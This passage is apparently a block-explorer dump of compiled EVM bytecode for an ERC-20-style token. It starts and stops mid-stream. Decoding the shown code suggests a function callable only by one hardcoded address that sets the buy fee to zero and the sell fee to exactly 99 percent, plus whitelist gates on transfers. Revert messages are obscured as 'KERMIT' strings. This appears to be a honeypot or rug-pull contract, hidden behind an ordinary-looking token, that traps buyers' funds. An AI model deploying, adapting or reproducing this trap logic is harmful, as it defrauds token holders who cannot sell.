000000000000000000000815260040161202790613413565b60405180910390fd5b5f8214612072576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120699061347b565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134e3565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612129929190613501565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e690613572565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124ff576124e760646124d9600a5487612b9990919063ffffffff16565b612c1090919063ffffffff16565b91506124fc8285612c6790919063ffffffff16565b90505b61254f8460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506126018160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e19190612f02565b60405180910390a35f8211156127e8576127418260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127df9190612f02565b60405180910390a35b50506129da565b61283f8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128f18260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129d19190612f02565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906132db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906135da565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612ba9575f9050612c0a565b5f8284612bb69190613625565b9050828482612bc59190613693565b14612c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfc9061370d565b60405180910390fd5b809150505b92915050565b5f808211612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a90613775565b60405180910390fd5b8183612c5f9190613693565b905092915050565b5f82821115612cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca2906137dd565b60405180910390fd5b8183612cb791906137fb565b905092915050565b5f808284612ccd919061382e565b905083811015612d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d09906138ab565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612d3281612d20565b8114612d3c575f80fd5b50565b5f81359050612d4d81612d29565b92915050565b5f60208284031215612d6857612d67612d1c565b5b5f612d7584828501612d3f565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612db5578082015181840152602081019050612d9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dda82612d7e565b612de48185612d88565b9350612df4818560208601612d98565b612dfd81612dc0565b840191505092915050565b5f6020820190508181035f830152612e208184612dd0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e5182612e28565b9050919050565b612e6181612e47565b8114612e6b575f80fd5b50565b5f81359050612e7c81612e58565b92915050565b5f8060408385031215612e9857612e97612d1c565b5b5f612ea585828601612e6e565b9250506020612eb685828601612d3f565b9150509250929050565b5f8115159050919050565b612ed481612ec0565b82525050565b5f602082019050612eed5f830184612ecb565b92915050565b612efc81612d20565b82525050565b5f602082019050612f155f830184612ef3565b92915050565b5f805f60608486031215612f3257612f31612d1c565b5b5f612f3f86828701612e6e565b9350506020612f5086828701612e6e565b9250506040612f6186828701612d3f565b9150509250925092565b5f60ff82169050919050565b612f8081612f6b565b82525050565b5f602082019050612f995f830184612f77565b92915050565b5f60208284031215612fb457612fb3612d1c565b5b5f612fc184828501612e6e565b91505092915050565b612fd381612e47565b82525050565b5f602082019050612fec5f830184612fca565b92915050565b5f806040838503121561300857613007612d1c565b5b5f61301585828601612d3f565b925050602061302685828601612d3f565b9150509250929050565b5f806040838503121561304657613045612d1c565b5b5f61305385828601612e6e565b925050602061306485828601612e6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130b257607f821691505b6020821081036130c5576130c461306e565b5b50919050565b7f4b45524d49544b45524d49544b45524d49544b45524d49544b45524d495400005f82015250565b5f6130ff601e83612d88565b915061310a826130cb565b602082019050919050565b5f6020820190508181035f83015261312c816130f3565b9050919050565b7f314b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f613167600783612d88565b915061317282613133565b602082019050919050565b5f6020820190508181035f8301526131948161315b565b9050919050565b7f324b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f6131cf600783612d88565b91506131da8261319b565b602082019050919050565b5f6020820190508181035f8301526131fc816131c3565b9050919050565b7f334b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f613237600783612d88565b915061324282613203565b602082019050919050565b5f6020820190508181035f8301526132648161322b565b9050919050565b7f4b45524d49544b45524d49544b45524d49544b45524d49544b45524d49544b455f8201527f524d495400000000000000000000000000000000000000000000000000000000602082015250565b5f6132c5602483612d88565b91506132d08261326b565b604082019050919050565b5f6020820190508181035f8301526132f2816132b9565b9050919050565b7f394b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f61332d600783612d88565b9150613338826132f9565b602082019050919050565b5f6020820190508181035f83015261335a81613321565b9050919050565b7f354b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f613395600783612d88565b91506133a082613361565b602082019050919050565b5f6020820190508181035f8301526133c281613389565b9050919050565b7f364b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f6133fd600783612d88565b9150613408826133c9565b602082019050919050565b5f6020820190508181035f83015261342a816133f1565b9050919050565b7f374b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f613465600783612d88565b915061347082613431565b602082019050919050565b5f6020820190508181035f83015261349281613459565b9050919050565b7f384b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f6134cd600783612d88565b91506134d882613499565b602082019050919050565b5f6020820190508181035f8301526134fa816134c1565b9050919050565b5f6040820190506135145f830185612ef3565b6135216020830184612ef3565b9392505050565b7f31304b45524d49540000000000000000000000000000000000000000000000005f82015250565b5f61355c600883612d88565b915061356782613528565b602082019050919050565b5f6020820190508181035f83015261358981613550565b9050919050565b7f344b45524d4954000000000000000000000000000000000000000000000000005f82015250565b5f6135c4600783612d88565b91506135cf82613590565b602082019050919050565b5f6020820190508181035f8301526135f1816135b8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61362f82612d20565b915061363a83612d20565b925082820261364881612d20565b9150828204841483151761365f5761365e6135f8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61369d82612d20565b91506136a883612d20565b9250826136b8576136b7613666565b5b828204905092915050565b7f4b45524d49544b45524d49544b45524d495400000000000000000000000000005f82015250565b5f6136f7601283612d88565b9150613702826136c3565b602082019050919050565b5f6020820190508181035f830152613724816136eb565b9050919050565b7f4b45524d49544b45524d49544b45524d49544b45524d495400000000000000005f82015250565b5f61375f601883612d88565b915061376a8261372b565b602082019050919050565b5f6020820190508181035f83015261378c81613753565b9050919050565b7f4b45524d495400000000000000000000000000000000000000000000000000005f82015250565b5f6137c7600683612d88565b91506137d282613793565b602082019050919050565b5f6020820190508181035f8301526137f4816137bb565b9050919050565b5f61380582612d20565b915061381083612d20565b9250828203905081811115613828576138276135f8565b5b92915050565b5f61383882612d20565b915061384383612d20565b925082820190508082111561385b5761385a6135f8565b5b92915050565b7f4b45524d49544b45524d495400000000000000000000000000000000000000005f82015250565b5f613895600c83612d88565b91506138a082613861565b602082019050919050565b5f6020820190508181035f8301526138c281613889565b905091905056fea264697066735822122073d03eb44f7bdb05b659eb14229788c6c29d86970b686e5f06df4cb5b861ab5b64736f6c6343000815003300000000000000000000000093a19b102224b77f63fdc70c72ff04184aad06bc00000000000000000000000000000000000004ee2d6d415b85acef80ffffffff
Deployed Bytecode
0x60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174290613343565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b7393a19b102224b77f63fdc70c72ff04184aad06bc73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd8906133ab565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613413565b60405180910390fd5b5f8214612072576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120699061347b565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134e3565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612129929190613501565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e690613572565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffff